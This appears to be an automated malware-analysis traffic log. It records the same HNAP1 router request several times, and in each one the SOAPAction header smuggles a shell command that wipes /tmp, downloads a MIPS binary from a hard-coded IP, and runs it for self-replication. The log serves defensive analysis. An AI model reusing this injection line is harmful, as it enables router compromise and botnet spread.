50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
